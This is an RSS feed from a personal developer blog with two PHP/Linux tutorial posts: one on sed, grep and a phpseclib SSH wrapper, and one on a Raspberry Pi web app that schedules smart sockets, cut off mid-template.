<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Samuel Rebollo]]></title><description><![CDATA[Samuel Rebollo]]></description><link>https://samuelrebollo.com/</link><image><url>https://samuelrebollo.com/favicon.png</url><title>Samuel Rebollo</title><link>https://samuelrebollo.com/</link></image><generator>Ghost 3.21</generator><lastBuildDate>Thu, 13 Nov 2025 07:22:34 GMT</lastBuildDate><atom:link href="https://samuelrebollo.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Parsing linux command results and lessons learned]]></title><description><![CDATA[<p>Over the last two years of my career, I've spent most of my time developing in-house software for my company's own use. Most of it involves the management of our own systems infrasctructure, with servers all around the world and the hardware attached to them. I developed tools that ssh</p>]]></description><link>https://samuelrebollo.com/parsing-linux-command-results-and-lessons-learned/</link><guid isPermaLink="false">6023f84f5296fd2b670b200f</guid><category><![CDATA[Linux]]></category><category><![CDATA[PHP]]></category><category><![CDATA[SSH]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Sat, 06 Mar 2021 11:02:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1549605659-32d82da3a059?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDJ8fGxpbnV4fGVufDB8fHx8MTYyMDI5ODk5Mw&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1549605659-32d82da3a059?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDJ8fGxpbnV4fGVufDB8fHx8MTYyMDI5ODk5Mw&ixlib=rb-1.2.1&q=80&w=2000" alt="Parsing linux command results and lessons learned"><p>Over the last two years of my career, I've spent most of my time developing in-house software for my company's own use. Most of it involves the management of our own systems infrasctructure, with servers all around the world and the hardware attached to them. I developed tools that ssh into servers to get configuration settings, hardware serial numbers, record logs and other statistics in a DB, etc. Different pieces of hardware are used for different projects, in the case of one project coming to an end and its hardware being decommissioned, that hardware is usually stored in a cupboard of a data centre until it may be used again. One example of the uses of all this info we record is to help us track our assets and locate the necessary hardware when a new project is comissioned. For this reason, I've been using more linux commands and parsing information more often than I ever did.</p><p>I never liked the command line (I know, I'm a weird computer scientist), however, I've come to learn and practice many useful linux commands like <a href="http://www.linfo.org/head.html">head</a>, <a href="http://www.linfo.org/tail.html">tail</a>, <a href="http://www.linfo.org/grep.html">grep</a>, <a href="http://www.linfo.org/cat.html">cat</a>, and <a href="http://www.linfo.org/pipes.html">pipe</a> their results onto others.</p><p>Recently, I had to code a script to parse log files and input their content into our DB, email reports and automatically manage changes in different <a href="https://git-scm.com/">git</a> repositories. <a href="https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks">I</a>n the process I learnt a couple things that I deem very useful for the future:</p><h3 id="the-sed-command">The <a href="https://www.gnu.org/software/sed/manual/sed.html#Introduction">SED</a> command</h3><p>The <code>sed</code> command in UNIX  is a stream editor and it is used to perform basic text transformations on a file like, searching, find and replace, regular expression matching, etc. Moreover, we can use the input from a pipeline in order to modify the stream without the need for a file. By using <code>sed</code>, you can edit files even without opening them and works by making only one pass over the input, being more efficient than other editors.</p><p><strong>Example - Replacing or substituting string :</strong> Sed command is mostly used to replace the text in a file. Imagine we have an SQL dump file we need to change the DB schema to which the tables belong. </p><figure class="kg-card kg-code-card"><pre><code class="language-SQL">-- ...

INSERT INTO sessions.viewlog (user_id, viewed_user_id, app_id, time) VALUES (113, 65061, 4, '2020-06-04 11:55:44+01');
INSERT INTO sessions.viewlog (user_id, viewed_user_id, app_id, time) VALUES (2599, 60587, 8, '2020-06-04 11:56:29+01');
INSERT INTO sessions.viewlog (user_id, viewed_user_id, app_id, time) VALUES (32605, 65303, 2, '2020-06-04 11:59:21+01');
INSERT INTO sessions.viewlog (user_id, viewed_user_id, app_id, time) VALUES (118, 67628, 1, '2020-07-08 23:10:54+01');
INSERT INTO sessions.viewlog (user_id, viewed_user_id, app_id, time) VALUES (607, 65303, 2, '2020-06-04 11:59:56+01');

-- ...</code></pre><figcaption>usersDump.sql file content</figcaption></figure><p>The below sed command would remove the replaces the word "sessions" with "users" in the file.</p><pre><code class="language-terminal">sed -i -e 's/^INSERT INTO sessions\./INSERT INTO users\./' usersDump.sql </code></pre><p>This would transform every insert statement to be made in the "users" schema, rather than the "sessions" one.</p><figure class="kg-card kg-code-card"><pre><code class="language-SQL">-- ...

INSERT INTO users.viewlog (user_id, viewed_user_id, app_id, time) VALUES (113, 65061, 4, '2020-06-04 11:55:44+01');
INSERT INTO users.viewlog (user_id, viewed_user_id, app_id, time) VALUES (2599, 60587, 8, '2020-06-04 11:56:29+01');
INSERT INTO users.viewlog (user_id, viewed_user_id, app_id, time) VALUES (32605, 65303, 2, '2020-06-04 11:59:21+01');
INSERT INTO users.viewlog (user_id, viewed_user_id, app_id, time) VALUES (118, 67628, 1, '2020-07-08 23:10:54+01');
INSERT INTO users.viewlog (user_id, viewed_user_id, app_id, time) VALUES (607, 65303, 2, '2020-06-04 11:59:56+01');

-- ...</code></pre><figcaption>modified usersDump.sql file content</figcaption></figure><h3 id="the-grep-command">The <a href="https://www.gnu.org/software/grep/manual/grep.html">GREP</a> command</h3><p>The <code>grep</code> command is a filter that is used to search for lines matching a specified pattern and print the matching lines to standard output.</p><p><strong>Example - Get the author line on the last commit on a git repository</strong></p><p>If we want to see the last commit information in a git repository we execute the command <code>git show</code>, which will show somthing like the following:</p><pre><code class="language-terminal">commit 0240dcad7f389a2f18536a8d98547b70124b87c4 (HEAD -&gt; master, origin/master, origin/HEAD)
Author: John Smith &lt;John.Smith@johnsmith.com&gt;
Date:   Sun May 3 10:39:38 2021 +0100

    Use default dates when not present

[...]</code></pre><p>We can pipe that result onto <code>grep</code> so we just get the author line:</p><p><code>git show | grep Author:</code></p><p>so we get:</p><pre><code class="language-terminal">Author: John Smith &lt;John.Smith@johnsmith.com&gt;</code></pre><p>I was already very much used to using this command but with this last project I learnt the following important thing (from the docs):</p><p>"the exit status is 0 if a line is selected, 1 if no lines were selected, and 2 if an error occurred"</p><p>I normally check for exit status = 0 to make sure there are no errors. However, in this case, not finding a pattern was not an error but just some non-crucial information not available. For this reason, I didn't think that the command returning 1 was OK so I struggle to realise I also needed to check for value 1.</p><h3 id="regular-expression-tester">Regular expression tester</h3><p>I used to use some simple PHP tester to test my regular expressions but with this project, I used Python. I found however a very useful tool to test regular expressions in a bunch of coding languages, <a href="https://regex101.com/">https://regex101.com/</a>.</p><p>This tool allows you to input your regular expression and your test string and validate it, check for syntax errors and evaluate matchers online.</p><h2 id="phpseclib-library">phpseclib Library</h2><p>As I mentioned earlier, as part of this project, I needed to ssh into different servers, run linux commands and parse their output. For this purpose, I've used <a href="https://phpseclib.com/"><a href="https://github.com/phpseclib/phpseclib">phpseclib</a></a>, a library that provides pure-PHP implementations of SSH2 and other network protocols. It is currently on its version 3 and its only requirement is to be using PHP 5.6+. It can be installed via composer and their <a href="https://phpseclib.com/docs/why">docs</a> are very clear and nice:</p><pre><code class="language-termina">composer require phpseclib/phpseclib:~3.0</code></pre><p>Apart from SSH2, the library also provides implementations of SFTP, X.509, an arbitrary-precision integer arithmetic library, Ed25519 / Ed449 / Curve25519 / Curve449, ECDSA / ECDH (with support for 66 curves), RSA (PKCS#1 v2.2 compliant), DSA / DH, DES / 3DES / RC4 / Rijndael / AES / Blowfish / Twofish / Salsa20 / ChaCha20, GCM / Poly1305. </p><p>As always, when I integrate a sophisticated library into my application, I tend to create a Façade to simplify the way I interface with the bits of functionality I need:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

use phpseclib\Net\SSH2;

class Ssh
{
	/**
	 * @var SSH2
	 */
	private $ssh2;

	public function isConnected(): bool
	{
		if ($this-&gt;ssh2 instanceof SSH2)
		{
			return $this-&gt;ssh2-&gt;isConnected();
		}

		return false;
	}

	public function isAuthenticated(): bool
	{
		if ($this-&gt;ssh2 instanceof SSH2)
		{
			return $this-&gt;ssh2-&gt;isAuthenticated();
		}

		return false;
	}

	public function connect($hostname, $username, $password): void
	{
		$this-&gt;disconnect();
		$this-&gt;ssh2 = new SSH2($hostname);
	    $this-&gt;ssh2-&gt;login($username, $password))
	}

	public function disconnect(): void
	{
		if ($this-&gt;ssh2)
		{
			$this-&gt;ssh2-&gt;disconnect();
		}
	}

	public function setTimeout($timeout)
	{
		$this-&gt;ssh2-&gt;setTimeout($timeout);
	}

	public function run($command): array
	{
		$this-&gt;ssh2-&gt;setTimeout(0);
		$output = $this-&gt;ssh2-&gt;exec($command);
		$exitCode = $this-&gt;ssh2-&gt;getExitStatus();

		return [
            "output" =&gt; $output,
            "exitCode" =&gt; $exitCode
        ];
	}
}
</code></pre><figcaption>ssh.php</figcaption></figure><p>With this simple class, I have a limited but straightforward interface that provides all the functionality I need from phpseclib, making my code simpler and more readable.</p><h2 id="conclusion">Conclusion</h2><p>These are some of the main "lessons" learned from my most recent project, a simple example of how a one week long development project usually results in a lot of apparently unrelated concepts and pieces that can be learned from most straightforward jobs, and how we can stack those minor pieces of knowledge and use them in further projects.</p>]]></content:encoded></item><item><title><![CDATA[Raspberry Pi hosted web application to manage Energenie sockets II]]></title><description><![CDATA[<p>In the previous post, I explained how to set up and deploy a simple web application to be able to use a Raspberry Pi and the Energenie PiMote control board to switch the remote controlled Energenie sockets I purchased several years ago. In this second part, we will develop the</p>]]></description><link>https://samuelrebollo.com/raspberry-pi-hosted-web-application-to-manage-energenie-sockets-ii/</link><guid isPermaLink="false">600171ba5296fd2b670b1fe0</guid><category><![CDATA[PHP]]></category><category><![CDATA[Raspberry Pi]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Fri, 04 Dec 2020 19:20:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1610812388300-cd1e9cf28b54?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDEyfHxsaW51eHxlbnwwfHx8fDE2MjAyOTg5OTM&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1610812388300-cd1e9cf28b54?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDEyfHxsaW51eHxlbnwwfHx8fDE2MjAyOTg5OTM&ixlib=rb-1.2.1&q=80&w=2000" alt="Raspberry Pi hosted web application to manage Energenie sockets II"><p>In the previous post, I explained how to set up and deploy a simple web application to be able to use a Raspberry Pi and the Energenie PiMote control board to switch the remote controlled Energenie sockets I purchased several years ago. In this second part, we will develop the application a bit further to create the necessary software to program our system to switch our lights at certain times and therefore create the appearance of presence at home when we are away.</p><h2 id="the-domain">The domain</h2><p>We need to include a new element in our domain to represent <em>when</em> a socket will be programmed to <em>perform one of the operations</em> (ON, or OFF). This element will be described in the data model as an <strong>Event</strong>. In it, we need to persist the <strong>Socket</strong> that will be actioned by the event, the type of <strong>operation</strong> and the <strong>time</strong> when the operation will be triggered.</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

namespace App\Domain;

use App\Domain\Socket;
use Doctrine\ORM\Mapping as ORM;

/**
 * Event
 *
 * @ORM\Table(name="homedomo.events")
 * @ORM\Entity
 */
class Event
{
	/**
	 * @var integer
	 *
	 * @ORM\Column(name="id", type="integer", nullable=false)
	 * @ORM\Id
	 * @ORM\GeneratedValue(strategy="IDENTITY")
	 */
	protected $id;

    /**
     * @var Socket
     * 
     * @ORM\ManyToOne(targetEntity="Socket", inversedBy="events")
     * @ORM\JoinColumn(name="socket_id", referencedColumnName="id")
     */
    protected $socket;

	/**
	 * @var string
	 *
	 * @ORM\Column(name="socket_operation", type="string", length=10, nullable=false)
	 */
	protected $operationName;

	/**
	 * @var integer
	 *
	 * @ORM\Column(name="time", type="integer", nullable=false)
	 */
	protected $time;

	/**
	 * Get the value of id
	 *
	 * @return integer
	 */ 
	public function getId()
	{
		return $this-&gt;id;
	}

    /**
     * Get the value of socket
     *
     * @return Socket
     */ 
    public function getSocket()
    {
        return $this-&gt;socket;
    }

    /**
     * Set the value of socket
     *
     * @param Socket $socket
     *
     * @return self
     */ 
    public function setSocket(Socket $socket)
    {
        $this-&gt;socket = $socket;

        return $this;
    }

	/**
	 * Get the value of operationName
	 *
	 * @return string
	 */ 
	public function getOperationName()
	{
		return $this-&gt;operationName;
	}

	/**
	 * Set the value of operationName
	 *
	 * @param string $operationName
	 *
	 * @return self
	 */ 
	public function setOperationName(string $operationName)
	{
		$this-&gt;operationName = $operationName;

		return $this;
	}

	/**
	 * Get the value of time
	 *
	 * @return integer
	 */ 
	public function getTime()
	{
		return $this-&gt;time;
	}

	/**
	 * Set the value of time
	 *
	 * @param integer $time
	 *
	 * @return self
	 */ 
	public function setTime($time)
	{
		$this-&gt;time = $time;

		return $this;
	}

	public function getHours()
    {
        return intval($this-&gt;time / 100);
    }

    public function getMinutes()
    {
        return $this-&gt;time % 100;
	}
	
	public function getTimeString()
    {
		$hoursString = substr("00{$this-&gt;getHours()}", -2, 2);
		$minutesString = substr("00{$this-&gt;getMinutes()}", -2, 2);
        return "{$hoursString}:{$minutesString}";
	}

	public function toArray()
	{
		return [
			"id" =&gt; $this-&gt;id,
			"socket" =&gt; [
				"id" =&gt; $this-&gt;socket-&gt;getId(),
				"name" =&gt; $this-&gt;socket-&gt;getName(),
				"description" =&gt; $this-&gt;socket-&gt;getDescription()
			],
			"operationName" =&gt; $this-&gt;getOperationName(),
			"time" =&gt; $this-&gt;getTime(),
			"timeString" =&gt; $this-&gt;getTimeString()
		];
	}

	public function toJson()
	{
		return json_encode($this-&gt;toArray());
	}
}</code></pre><figcaption>Event.php</figcaption></figure><p>As we can see, the events table on DB will be linked to the specific Socket through a foreign key and will also have a string field to store the operation name and an integer value to represent the time of the day from 0 (00:00) to 2359 (11:59 PM). To create this table on our DB, we can just run <code>php vendor/bin/doctrine orm:schema-tool:update</code>. Please note that this is a way to update the DB schema while developing. To update the DB at the deployment stage, we should take advantage of doctrine <a href="https://symfony.com/doc/current/bundles/DoctrineMigrationsBundle/index.html">migrations</a>, which I have left out of these articles for the sake of simplicity.</p><p>We should now create the inverse relationship on Socket:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

namespace App\Domain;

use App\Domain\Event;
use Doctrine\Common\Collections\ArrayCollection;
use Doctrine\ORM\Mapping as ORM;
use DateTime;

/**
 * Socket
 *
 * @ORM\Table(name="homedomo.sockets")
 * @ORM\Entity
 */
class Socket
{
	// ...

    /**
     * @var ArrayCollection
     * 
     * @ORM\OneToMany(targetEntity="Event", mappedBy="socket")
	 * @ORM\OrderBy({"time" = "ASC"})
     */
	protected $events;

	// ...
    
    /**
     * Add Event
     *
     * @return Socket
     */
    public function addEvent(Event $event)
    {
        $this-&gt;events-&gt;add[] = $event;

        return $this;
    }

    /**
     * Remove Event
     */
    public function removeEvent(Event $event)
    {
        $this-&gt;events-&gt;removeElement($event);
        
        return $this;
    }

    /**
     * Get the value of events
     *
     * @return ArrayCollection
     */ 
    public function getEvents()
    {
        return $this-&gt;events;
	}

	public function getNextEvent($time = null)
	{
		$time = $time ?? intval((new DateTime())-&gt;format('Hi'));
		$nextEvents = $this-&gt;getEvents()-&gt;filter(function(Event $event) use ($time){
						return $event-&gt;getTime() &gt; $time;
					});

		return $nextEvents-&gt;first() ?: $this-&gt;events-&gt;first();
	}
	
	public function getPreviousEvent($time = null)
	{
		$time = $time ?? intval((new DateTime())-&gt;format('Hi'));
		$prevEvents = $this-&gt;getEvents()-&gt;filter(function(Event $event) use ($time){
						return $event-&gt;getTime() &lt; $time;
					});
		return $prevEvents-&gt;last() ?: $this-&gt;events-&gt;last();
	}
	
	public function toArray()
	{
		return [
			"id" =&gt; $this-&gt;getId(),
			"name" =&gt; $this-&gt;getName(),
			"description" =&gt; $this-&gt;getDescription(),
			"events" =&gt; array_map(function($event){
				return [
					"id" =&gt; $event-&gt;getId(),
					"operationName" =&gt; $event-&gt;getOperationName(),
					"time" =&gt; $event-&gt;getTime(),
					"timeString" =&gt; $event-&gt;getTimeString()
				];
			}, $this-&gt;events-&gt;toArray()),
			"nextEvent" =&gt; $this-&gt;getNextEvent()-&gt;toArray(),
			"previousEvent" =&gt; $this-&gt;getPreviousEvent()-&gt;toArray(),
		];
	}

	public function toJson()
	{
		return json_encode($this-&gt;toArray());
	}
}</code></pre><figcaption>Sockets.php</figcaption></figure><p>And lastly, develop a simple service to retrieve our Events when necessary:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

namespace App\Domain;

use Doctrine\ORM\EntityManagerInterface;
use App\Domain\Event;
use App\Domain\Socket;
use DateTime;

final class EventService
{
    protected $em;
    protected $eventRepository;

    public function __construct(EntityManagerInterface $em)
    {
        $this-&gt;em = $em;
        $this-&gt;eventRepository = $em-&gt;getRepository(Event::class);
    }

    public function findAll()
    {
        return $this-&gt;eventRepository-&gt;findAll();
    }

    public function find($id)
    {
        return $this-&gt;eventRepository-&gt;find($id);
    }

    public function findDue($time = null)
    {
        $time = $time ?? intval((new DateTime())-&gt;format('Hi'));

        return $this-&gt;eventRepository-&gt;findBy(['time' =&gt; $time]);
    }
}</code></pre><figcaption>EventService.php</figcaption></figure><h2 id="running-the-schedule">Running the Schedule</h2><p>To be able to execute events, we're going to make use of <a href="https://symfony.com/doc/current/console.html">Symfony console commands</a>, which use the <a href="https://symfony.com/doc/current/components/console.html">console component</a>.</p><pre><code class="language-terminal"> composer require symfony/console</code></pre><p>First, we need to create a PHP script to define de console application:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php
// application.php

require __DIR__.'/../vendor/autoload.php';

use Symfony\Component\Console\Application;

$application = new Application();

/** @var ContainerInterface $container */
$container = (require __DIR__ . '/../config/bootstrap.php')-&gt;getContainer();
$commands = $container-&gt;get('commands');

$application = new Application();

foreach ($commands as $class) {
    $application-&gt;add($container-&gt;get($class));
}

$application-&gt;run();
</code></pre><figcaption>bin/console.php</figcaption></figure><p>And for this to work create the cli-config.php file in the root of the project:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

use Doctrine\ORM\EntityManagerInterface;
use Doctrine\ORM\Tools\Console\ConsoleRunner;

$container = (require __DIR__ . '/config/bootstrap.php')-&gt;getContainer();

return ConsoleRunner::createHelperSet($container-&gt;get(EntityManagerInterface::class));</code></pre><figcaption>cli-config.php</figcaption></figure><p>Having these, we can create a symfony that will run our scheduled events. For more information on Symfony commands, visit the Symfony <a href="https://symfony.com/doc/current/console.html">docs</a>:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

namespace App\Application\Commands;

use App\Application\SocketOperations\SocketOperationFactory;
use App\Domain\EventService;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class ScheduleRunCommand extends Command
{
    protected $eventService;
    protected $socketOperationFactory;

    public function __construct(EventService $eventService, SocketOperationFactory $socketOperationFactory)
    {
        $this-&gt;eventService = $eventService;
        $this-&gt;socketOperationFactory = $socketOperationFactory;
        parent::__construct();
    }

    protected function configure(): void
    {
        parent::configure();

        $this-&gt;setName('schedule:run');
        $this-&gt;setDescription('Run the scheduled events');
    }

    protected function getOperation($operationName, $socket)
    {
        return $this-&gt;socketOperationFactory-&gt;createSocketOperation($operationName, $socket);
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $events = $this-&gt;eventService-&gt;findDue();

        if ($events)
        {
            $output-&gt;writeln("Running events");

            foreach ($events as $event)
            {
                $operation = $this-&gt;getOperation($event-&gt;getOperationName(), $event-&gt;getSocket());
                $operation-&gt;run();
            }

        }

        return 0;
    }
}
</code></pre><figcaption>ScheduleRunCommand.php</figcaption></figure><p>If we now execute the following in our evironment:</p><pre><code class="language-terminal">php /var/www/html/bin/console.php schedule:run</code></pre><p>The events (if any) that are due this very minute, will be executed.</p><p>And finally, we register our ScheduleRunCommand on our bootstrap file:</p><figure class="kg-card kg-code-card"><pre><code>?php

use App\Application\Commands\ScheduleRunCommand;
use App\Controllers\EventController;
use App\Controllers\HomeController;
use App\Controllers\SocketController;
use App\Controllers\SwitchController;
use App\Utility\Configuration;
use DI\ContainerBuilder;

// ...

    // Twig templates
    Twig::class =&gt; function () {
        return Twig::create(__DIR__ . '/../templates', ['cache' =&gt; false]);
    },

    // Register commands
    'commands' =&gt; [
        ScheduleRunCommand::class
    ],

    // Configuration
    Configuration::class =&gt; new Configuration([
        // python scripts path
        'scripts_path' =&gt; __DIR__ . '/../bin/scripts'
    ])
    
// ...
    </code></pre><figcaption>bootstrap.php</figcaption></figure><p>In order for this to work, we need to create a <a href="https://samuelrebollo.com/set-up-cron-job/">cron</a> job, to execute our ScheduleRunCommand every minute, the line</p><pre><code class="language-PHP">$events = $this-&gt;eventService-&gt;findDue();</code></pre><p>will make sure only the due events are executed at the scheduled time. We will come back to this later on this article, at the deployment stage.</p><h2 id="controllers">Controllers</h2><p>Now we need to create controllers for the event creations. As in the previous article, we choose to use a class method per controller action so we will create a class to develop all REST actions for Events.</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">
&lt;?php

namespace App\Controllers;

use App\Domain\Event;
use App\Domain\Socket;
use Doctrine\ORM\EntityManagerInterface;
use Psr\Http\Message\ResponseInterface as Response;
use Psr\Http\Message\ServerRequestInterface as Request;
use Slim\Views\Twig;

class EventController
{
    protected $em;
    protected $view;

    public function __construct(EntityManagerInterface $em, Twig $view) {
        $this-&gt;em = $em;
        $this-&gt;view = $view;
    }

    public function list(Request $request, Response $response, $args)
    {
        $allEvents = $this-&gt;em-&gt;getRepository(Event::class)-&gt;findAll();
        $events = array_map(function($event){ return $event-&gt;toArray();}, $allEvents);
        $response-&gt;getBody()-&gt;write(json_encode($events));
        return $response-&gt;withHeader("Content-Type", "application/json");
    }

    public function get(Request $request, Response $response, $args)
    {
        $event = $this-&gt;em-&gt;getRepository(Event::class)-&gt;find($args["id"]);
        $response-&gt;getBody()-&gt;write($event-&gt;toJson());
        
        return $response-&gt;withHeader("Content-Type", "application/json");
    }

    public function store(Request $request, Response $response, $args)
    {
        $data = $request-&gt;getParsedBody();
        $socket = $this-&gt;em-&gt;getRepository(Socket::class)-&gt;find($data["socket_id"]);
        $operationName = $data["operation_name"];
        $time = $data["time"];

        // TODO validate

        $event = new Event();
        $event-&gt;setSocket($socket)
            -&gt;setOperationName($operationName)
            -&gt;setTime($time);        
        $socket-&gt;addEvent($event);
        $this-&gt;em-&gt;persist($event);
        $this-&gt;em-&gt;persist($socket);
        $this-&gt;em-&gt;flush();
        $response-&gt;getBody()-&gt;write($event-&gt;toJson());

        return $response-&gt;withHeader("Content-Type", "application/json");
    }

    public function update(Request $request, Response $response, $args)
    {
        $data = $request-&gt;getParsedBody();
        $eventId = $args["id"];
        $operationName = $data["operation_name"];
        $time = $data["time"];

        // TODO validate

        $event = $this-&gt;em-&gt;getRepository(Event::class)-&gt;find($eventId);
        $event-&gt;setOperationName($operationName)-&gt;setTime($time);        
        $this-&gt;em-&gt;persist($event);
        $this-&gt;em-&gt;flush();
        $response-&gt;getBody()-&gt;write($event-&gt;toJson());

        return $response-&gt;withHeader("Content-Type", "application/json");
    }

    public function delete(Request $request, Response $response, $args)
    {
        $eventId = $args["id"];

        // TODO validate

        $event = $this-&gt;em-&gt;getRepository(Event::class)-&gt;find($eventId);
        $this-&gt;em-&gt;remove($event);
        $this-&gt;em-&gt;flush();
        $response-&gt;getBody()-&gt;write(json_encode(["message" =&gt; "event successfully deleted"]));

        return $response-&gt;withHeader("Content-Type", "application/json");
    }

    public function edit(Request $request, Response $response, $args)
    {
        $eventId = $args["id"] ?? false;
        // TODO validate
        $event = $eventId ? $this-&gt;em-&gt;getRepository(Event::class)-&gt;find($eventId) : null;
        
        return $this-&gt;view-&gt;render($response, "forms/eventForm.twig", ['event' =&gt; $event]);
    }
}</code></pre><figcaption>EventController.php</figcaption></figure><p>And add the routes to our bootstrap file:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">// ...

// Add middleware
$app-&gt;addBodyParsingMiddleware();
$app-&gt;add(TwigMiddleware::createFromContainer($app, Twig::class));

// Register routes
$app-&gt;post('/switch/{power}', SwitchController::class . ':switch');
$app-&gt;get('/', HomeController::class . ':home');

// Events
$app-&gt;get('/events/edit[/{id}]', EventController::class . ':edit');
$app-&gt;get('/events', EventController::class . ':list');
$app-&gt;get('/events/{id}', EventController::class . ':get');
$app-&gt;post('/events', EventController::class . ':store');
$app-&gt;put('/events/{id}', EventController::class . ':update');
$app-&gt;delete('/events/{id}', EventController::class . ':delete');

//...</code></pre><figcaption>bootstrap.php</figcaption></figure><p>As in the previous article we didn't develop the functionality to edit our socket info, we will now also create the Socket controller:</p><pre><code class="language-PHP">&lt;?php

namespace App\Controllers;

use App\Domain\Socket;
use Doctrine\ORM\EntityManagerInterface;
use Psr\Http\Message\ResponseInterface as Response;
use Psr\Http\Message\ServerRequestInterface as Request;
use Slim\Views\Twig;

class SocketController
{
    protected $em;
    protected $view;

    public function __construct(EntityManagerInterface $em, Twig $view) {
        $this-&gt;em = $em;
        $this-&gt;view = $view;
    }

    public function list(Request $request, Response $response, $args)
    {
        $allSockets = $this-&gt;em-&gt;getRepository(Socket::class)-&gt;findAll();
        $sockets = array_map(function($socket){ return $socket-&gt;toArray();}, $allSockets);
        $response-&gt;getBody()-&gt;write(json_encode($sockets));
        return $response-&gt;withHeader("Content-Type", "application/json");
    }

    public function get(Request $request, Response $response, $args)
    {
        $socket = $this-&gt;em-&gt;getRepository(Socket::class)-&gt;find($args["id"]);
        $response-&gt;getBody()-&gt;write($socket-&gt;toJson());
        
        return $response-&gt;withHeader("Content-Type", "application/json");
    }

    public function store(Request $request, Response $response, $args)
    {
        $data = $request-&gt;getParsedBody();
        $name = $data["name"];
        $description = $data["description"];

        // TODO validate

        $socket = new Socket();
        $socket-&gt;setName($name)-&gt;setDescription($description);
        $this-&gt;em-&gt;persist($socket);
        $this-&gt;em-&gt;flush();
        $response-&gt;getBody()-&gt;write($socket-&gt;toJson());

        return $response-&gt;withHeader("Content-Type", "application/json");
    }

    public function update(Request $request, Response $response, $args)
    {
        $data = $request-&gt;getParsedBody();
        $socketId = $args["id"];
        $name = $data["name"];
        $description = $data["description"];

        // TODO validate

        $socket = $this-&gt;em-&gt;getRepository(Socket::class)-&gt;find($socketId);
        $socket-&gt;setName($name)-&gt;setDescription($description);
        $this-&gt;em-&gt;persist($socket);
        $this-&gt;em-&gt;flush();
        $response-&gt;getBody()-&gt;write($socket-&gt;toJson());

        return $response-&gt;withHeader("Content-Type", "application/json");
    }

    public function delete(Request $request, Response $response, $args)
    {
        $socketId = $args["id"];

        // TODO 
        // validate
        // delete all linked events

        $socket = $this-&gt;em-&gt;getRepository(Socket::class)-&gt;find($socketId);
        $this-&gt;em-&gt;remove($socket);
        $this-&gt;em-&gt;flush();
        $response-&gt;getBody()-&gt;write(json_encode(["message" =&gt; "socket successfully deleted"]));

        return $response-&gt;withHeader("Content-Type", "application/json");
    }

    public function edit(Request $request, Response $response, $args)
    {        
        $socketId = $args["id"] ?? false;
        // TODO validate
        $socket = $socketId ? $this-&gt;em-&gt;getRepository(Socket::class)-&gt;find($socketId) : null;
        
        return $this-&gt;view-&gt;render($response, "forms/socketForm.twig", ['socket' =&gt; $socket]);
    }

    public function editEvents(Request $request, Response $response, $args)
    {        
        $socketId = $args["id"] ?? false;
        // TODO validate
        $socket = $socketId ? $this-&gt;em-&gt;getRepository(Socket::class)-&gt;find($socketId) : null;
        
        return $this-&gt;view-&gt;render($response, "forms/eventEditForm.twig", ['socket' =&gt; $socket]);
    }

    
}</code></pre><p>and add its routes to bootstrap.php</p><pre><code class="language-PHP">// ...

// Events

// ...

// Socket
$app-&gt;get('/sockets/edit[/{id}]', SocketController::class . ':edit');
$app-&gt;get('/sockets/{id}/edit-events', SocketController::class . ':editEvents');
$app-&gt;get('/sockets', SocketController::class . ':list');
$app-&gt;get('/sockets/{id}', SocketController::class . ':get');
$app-&gt;post('/sockets', SocketController::class . ':store');
$app-&gt;put('/sockets/{id}', SocketController::class . ':update');
$app-&gt;delete('/sockets/{id}', SocketController::class . ':delete');

return $app;
</code></pre><p></p><h2 id="view">View</h2><p>The last modification of our software is to edit the view to accomodate the new functionality.</p><figure class="kg-card kg-code-card"><pre><code class="language-twig">&lt;!doctype html&gt;
&lt;html lang="en"&gt;
    &lt;head&gt;
        &lt;meta charset="utf-8"&gt;
        &lt;meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"&gt;
        &lt;meta name="description" content=""&gt;
        &lt;meta name="author" content=""&gt;
        &lt;link rel="icon" href="/docs/4.0/assets/img/favicons/favicon.ico"&gt;

        &lt;title&gt;Cam House sockets&lt;/title&gt;

        &lt;!-- Bootstrap core CSS --&gt;
        &lt;link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous"&gt;
